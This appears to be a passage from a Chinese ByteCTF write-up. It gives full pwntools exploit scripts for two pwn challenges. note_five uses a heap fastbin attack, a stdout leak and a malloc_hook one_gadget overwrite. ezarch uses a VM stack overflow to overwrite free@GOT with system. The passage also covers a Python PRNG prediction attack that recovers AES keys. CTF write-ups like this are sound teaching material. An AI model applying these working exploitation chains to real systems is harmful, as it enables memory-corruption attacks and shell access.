if __name__ == "__main__":
    pwn("112.126.103.14",9999,0)

note_five

漏洞在edit的时候溢出。但由于限制了堆大小,先用unsorted bin attack改掉global_max_fast,然后就可以愉快的fastbin attack了。先fast到stdout改write_base leak得到libc,然后fast到malloc_hook改hook,比较蛋疼的是one_gadget全失效了,于是用到libc_realloc+某个偏移。从+1一直试到+13,终于成功在[rsp+0x30]得到一个0,然后让__realloc_hook为one_gadget就行了

#-*- coding: utf-8 -*-
from pwn import *


__author__ = '3summer'
binary_file = './note_five'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'

def dbg(breakpoint):
    glibc_dir = '/usr/src/glibc/glibc-2.23/'
    gdbscript = 'directory %smalloc\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27222print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
    log.info(gdbscript)
    gdb.attach(io, gdbscript)
    time.sleep(1)


def exploit(io):
    s       = lambda data               :io.send(str(data)) 
    sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
    sl      = lambda data               :io.sendline(str(data))
    sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :io.recv(numb)
    ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
    irt     = lambda                    :io.interactive()
    uu32    = lambda data               :u32(data.ljust(4, '\0'))
    uu64    = lambda data               :u64(data.ljust(8, '\0'))
    def choice(cmd, *argv):
        sla('>>',cmd)
        for i in argv:
            if isinstance(i,tuple):
                sa((i[1]),i[0])
                continue
            if isinstance(i,list):
                sla(i[1],i[0])
                continue
            sla(':',i)
    add     = lambda idx,size           :choice(1,idx,size)
    edit    = lambda idx,content        :choice(2,idx,(content,':'))
    delete  = lambda idx                :choice(3,idx)
    # dbg(elf.plt.malloc) # malloc
    # dbg(0xE6D) # free
    # dbg(0x0DEE) # edit

    add(0,0xe8)
    add(1,0xe8)
    add(2,0xe8)
    add(3,0xe8)
    add(4,0xe8)


    # dbg(0xE6D) # free
    delete(0)
    payload = 'a' * 0xe0 + p64(0x2d0) + '\xf0'
    edit(2,payload)
    delete(3)
    add(0,0x2d0 - 0x10)

    payload = '\x11' * 0xe0 
    payload += p64(0) + p64(0xf1)
    payload += '\x22' * 0xe0 + p64(0) + p64(0xf1) + "\n"
    edit(0,payload)
    delete(1)

    payload = '\x11' * 0xe0
    payload += p64(0) + p64(0xf1)
    payload += p64(0) + p16(0x37f8 - 0x10) + '\n'
    edit(0,payload)
    add(3,0xe8)
    add(3,0xe8)

    payload = '\x11' * 0xe0
    payload += p64(0) + p64(0xf1)
    payload += '\x22' * 0xe0 + p64(0) + p64(0xf1) + "\n"
    edit(0,payload)
    delete(2)
    payload = '\x11' * 0xe0
    payload += p64(0) + p64(0xf1)
    payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
    payload += p16(0x25cf)
    payload += '\n'
    edit(0,payload)
    add(3,0xe8)
    add(4,0xe8)
    payload = "\x00" + p64(0)*4
    payload = flat('aaaaaaaaa',p64(0)*7,0xfbad1800,0,0,0,p8(0),'\n')
    edit(4,payload)
    ru(p64(0xfbad1800))
    r(0x20)
    libc.address = uu64(r(6))-libc.sym._IO_2_1_stdout_-131
    success('libc.address = 0x%x' % libc.address)
    assert libc.address % 0x1000 == 0

    # hijack control flow
    fastbin_attack1 = libc.sym.__malloc_hook - (0x7ffff7dd1b10 - 0x7ffff7dd196f)
    fastbin_attack2 = libc.sym.__malloc_hook - (0x7ffff7dd1b10 - 0x7ffff7dd1a50)
    delete(3)
    payload = '\x11' * 0xe0
    payload += p64(0) + p64(0xf1)
    payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
    payload += p64(fastbin_attack1)
    payload += '\n'
    edit(0,payload)
    add(3,0xe8)
    add(4,0xe8)
    payload = "\x00" + p64(0)*7 + p64(libc.address + 0x00007ffff7dd06e0 - 0x7ffff7a0d000)
    payload += p64(0) * 19 + p64(0xff) + "\n"
    edit(4,payload)


    delete(3)
    payload = '\x11' * 0xe0
    payload += p64(0) + p64(0xf1)
    payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
    payload += p64(fastbin_attack2)
    payload += '\n'
    edit(0,payload)
    add(3,0xe8)
    add(4,0xe8)

    payload = p64(0)*21 + p64(libc.sym.one_gadget)+ p64(libc.sym.__libc_realloc+13)+ "\n"
    # payload = p64(0)*22 + p64(libc.sym.one_gadget)+ "\n"
    # dbg(0x0DEE) # edit
    edit(4,payload)
    add(3,0x100)


    return io


if __name__ == '__main__':
    if len(sys.argv) > 1:
        io = remote(sys.argv[1], sys.argv[2])
    else:
        io = process(binary_file, 0)
    exploit(io)
    io.interactive()

ezarch

[M]emory Set的时候设置stack为mem-0x1000的位置,对于bp只检查与mem->size的大小,而不是检查stack_max,使得bp可以栈溢出
将ebp设置为0x1008,使ebp指向了mem->stack指针
由于Partial RELRO,接下来的思路是将stack指针劫持到got表。
本来想通过断点打印的信息把libc leak出来的,不过既然有add和sub这样的opcode,直接根据libc的相对偏移去加减操作省事很多。
由于寄存器是32位的,分别将free的高低32位设置为system。再一次[M]emory Set的时候会free掉这个chunk,所以在payload头部写入/bin/sh,并且设置eip为8跳过这个字符串。

#-*- coding: utf-8 -*-
from pwn import *

binary_file = './ezarch'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file) 
libc = elf.libc
one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'

def dbg(breakpoint):
    glibc_dir = '/usr/src/glibc/glibc-2.27/'
    gdbscript = 'directory %smalloc\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27222print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
    log.info(gdbscript)
    gdb.attach(io, gdbscript)
    time.sleep(1)


def exploit(io):
    s       = lambda data               :io.send(str(data)) 
    sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
    sl      = lambda data               :io.sendline(str(data))
    sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :io.recv(numb)
    ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
    irt     = lambda                    :io.interactive()
    uu32    = lambda data               :u32(data.ljust(4, '\0'))
    uu64    = lambda data               :u64(data.ljust(8, '\0'))

    func = lambda opcode, _type1, _type2, arg0, arg1: flat(p8(opcode), p8(_type1*0x10+_type2), p32(arg0), p32(arg1))

    # reg
    r = [i for i in range(0x10)]
    esp = 16
    ebp = 17

    # _type1    
    stackreg = 0
    regimm = 1
    regreg = 2

    # _type2    
    no_ptr = 0
    ptr = 2

    # opcode
    error = 0
    add = 1
    sub = 2
    mov = 3
    xor = 4
    _or = 5
    _and = 6
    shl = 7
    shr = 8
    push = 9
    pop = 0xA
    call = 0xB
    ret = 0xC
    test = 0xD
    test2 = 0xE
    jz = 0xF
    jz2 = 0x10
    nop = 0x11

    payload = flat(
        '/bin/sh\x00',
        func(mov,regimm,no_ptr,ebp,0x1008),
        func(mov,regreg,no_ptr,r[0],ebp),
        func(sub,regimm,no_ptr,r[0],0xa8),
        func(mov,stackreg,ptr,ebp,r[0]),

        func(mov,regimm,no_ptr,ebp,8),
        func(mov,regreg,no_ptr,r[0],ebp),
        func(sub,regimm,no_ptr,r[0],libc.sym.puts-libc.sym.system),
        func(mov,regimm,no_ptr,ebp,0),
        func(mov,stackreg,ptr,ebp,r[0]),

        func(mov,regimm,no_ptr,ebp,8+4),
        func(mov,regreg,no_ptr,r[0],ebp),
        func(mov,regimm,no_ptr,ebp,4),
        func(mov,stackreg,ptr,ebp,r[0]),
    )

    sla('>', 'M')
    sla('>', 0x1100)
    sla('>', len(payload))
    sa(')', payload)
    sla('>', 8)
    sla('>', 0)
    sla('>', 0)

    # dbg(0x9C0) # run
    # dbg(0x0AC2) # free
    sla('>','R')
    sla('>','M')
    sla('size>',1)

    return io


if __name__ == '__main__':
    if len(sys.argv) > 1:
        io = remote(sys.argv[1], sys.argv[2])
    else:
        io = process(binary_file, 0)
    exploit(io)
    io.interactive()

Misc:

Hello Bytectf

打开题目即可getflag

jigsaw

遇到题目怎么办?当然是人工做题了,先把没有带白字的图片,全部删掉,先把能拼接的都拼接起来,然后再整体连接起来。突然发现一个flag

根据"{"大致确定了中间位置,然后逐个拼接

最终拼接完毕

图片flag为flag{fate_stay_nt},提交然后失败
然后把flag换成bytectf即bytectf{fate_stay_nt},提交成功

betgame

# coding=utf-8
from pwn import *
p=remote('112.125.25.81',9999)
# context(log_level='debug')
f = ['j','s','b']
def getind(x,y):
    if y == 0:
        return x
    elif y ==1:
        return (x+y)%3
    elif y == -1:
        if x > 0:
            return x+y
        elif x == 0:
            return 2
for i in range(10):
    print i,"1"
    p.recvuntil("e: ")
    t = p.recvline().strip('\n')
    p.sendline(f[getind(f.index(t),0)])
    print i, "2"
    p.recvuntil("e: ")
    t = p.recvline().strip('\n')
    p.sendline(f[getind(f.index(t), -1)])
    print i, "3"
    p.recvuntil("e: ")
    t = p.recvline().strip('\n')
    p.sendline(f[getind(f.index(t), 1)])
p.interactive()

Crypto:

lrlr

通过old的1000组可以预测python随机数,
https://github.com/tna0y/Python-random-module-cracker
一共2轮aes加密,既然密钥可以预测出来,自然就能解密得到clist。

from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from Crypto.Cipher import AES
import random
from randcrack import RandCrack

rc = RandCrack()
with open('old') as file:
    old = [int(i) for i in file.read().strip().split('\n')]

index = 0
for i in range(index,624):
    rc.submit(old[index])
    index+=1

for i in range(1000-624):
    assert(old[index]==rc.predict_getrandbits(32))
    index+=1


with open('cl') as file:
    nlist = [eval(i) for i in file.read().strip().split('\n')]

with open('new') as file:
    clist=[i.decode('hex') for i in file.read().strip().split('\n')]

key1=[]
key2=[]
key3=[]
for i in range(24):
    key1.append(rc.predict_getrandbits(128))
for i in range(24):
    key2.append(rc.predict_getrandbits(128))
for i in range(24):
    key3.append(rc.predict_getrandbits(128))


tmp1=[]
for i in range(24):
    handle = AES.new(long_to_bytes(key3[i]), AES.MODE_CBC, "\x00"*16)
    tmpstate=handle.decrypt(clist[i])
    tmp1.append(tmpstate)

tmp2=[]
for i in range(24):
    handle = AES.new(long_to_bytes(key2[i]), AES.MODE_CBC, "\x00"*16)
    tmpstate=handle.decrypt(tmp1[i])
    tmp2.append(tmpstate)

# tmp3=[]
# for i in range(24):
#     handle = AES.new(long_to_bytes(key1[i]), AES.MODE_CBC, "\x00"*16)
#     tmpstate=handle.decrypt(tmp2[i])
#     tmp3.append(tmpstate)

c=[]
for i in tmp2:
    c.append(bytes_to_long(i))

for i in range(17):
    print 'n = %d'%nlist[i]
    print 'e = 17'
    print 'c = %d'%c[i]
    print '\n'

然后有了24组n,c;e=17。随便选择17组去广播攻击

最后一步类似jarvis oj上的bbencode原题,循环编码,判断flag开头的字符串

def bbencode(n):
    a = 0
    for i in bin(n)[2:]:
        a = a << 1
        if (int(i)):
            a = a ^ n
        if a >> 256:
            a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L
    return a

result = 61406796444626535559771097418338494728649815464609781204026855332620301752444
for i in range(10000):
    result = bbencode(result)
    if("666c6167" == str(hex(result))[2:10]):
        print i
        print hex(result)[2:-1].decode('hex')

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now